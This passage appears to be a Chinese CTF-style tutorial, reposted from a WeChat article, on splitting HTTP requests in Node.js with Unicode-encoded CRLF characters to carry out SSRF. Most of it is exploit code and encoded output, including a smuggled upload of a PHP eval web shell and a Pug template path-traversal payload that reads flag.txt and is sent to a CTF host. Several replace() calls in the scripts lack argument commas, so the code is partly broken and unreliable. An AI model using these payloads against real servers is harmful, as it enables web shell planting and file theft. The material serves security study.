# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

构造请求:

> http.get('http://47.101.57.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ')

如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。

但是有一个问题,就是当我们将这个请求包里面的所有的字符包括控制字符全部用高编号Unicode码表示的话,最终生成的 Payload 的长度可能会过长,有对于有些服务器来说,如果我们请求的 URL 长度超过了限制的长度之后会报错。而且有的题目还需要对 Payload 进行 URL 编码甚至二次或三次编码,这样 Payload 的长度就更长了,所以我们还是建议只将那些控制字符用高编号Unicode编码就行了。编写新的 Payload 转换脚本:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''

.replace("\n","\r\n")

payload = payload.replace('\r\n''\u010d\u010a') \
    .replace('+''\u012b') \
    .replace(' ''\u0120') \
    .replace('"''\u0122') \
    .replace("'"'\u0a27') \
    .replace('[''\u015b') \
    .replace(']''\u015d') \
    .replace('`''\u0127') \
    .replace('"''\u0122') \
    .replace("'"'\u0a27') \
    .replace('[''\u015b') \
    .replace(']''\u015d') \

print(payload)

# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/upload.phpĠHTTP/1.1čĊHost:Ġ127.0.0.1čĊContent-Length:Ġ437čĊContent-Type:Ġmultipart/form-data;Ġboundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6čĊUser-Agent:ĠMozilla/5.0Ġ(WindowsĠNTĠ10.0;ĠWin64;Ġx64)ĠAppleWebKit/537.36Ġ(KHTML,ĠlikeĠGecko)ĠChrome/90.0.4430.72ĠSafari/537.36čĊAccept:Ġtext/html,application/xhtmlīxml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9čĊAccept-Encoding:Ġgzip,ĠdeflatečĊAccept-Language:Ġzh-CN,zh;q=0.9čĊCookie:ĠPHPSESSID=nk67astv61hqanskkddslkgst4čĊConnection:ĠclosečĊčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢMAX_FILE_SIZEĢčĊčĊ100000čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢuploadedĢ;Ġfilename=Ģshell.phpĢčĊContent-Type:Ġapplication/octet-streamčĊčĊ<?phpĠeval($_POSTśĢwhoamiĢŝ);?>čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢUploadĢčĊčĊUploadčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6--čĊčĊGETĠ/ĠHTTP/1.1čĊtest:

其实主要就是将 \r\n 和空格进行编码,其他的字符如果是题目对他们做了过滤也可以自己加进去。最好是将所有的控制字符全部编码。

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="abc.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
x:'''


payload = payload.replace("\n""\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
r = requests.get('http://a5424015-e9f0-4db0-9d84-472bda633e45.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450785498&idx=1&sn=9d3e6b4071ccd045f05e4095b71c2567&chksm=b104f5fd86737ceb8fe19b01fc7db00a490001f310c2305569c99a1ddac4f8ed85464d33fdca#rd
如有侵权请联系:admin#unsafe.sh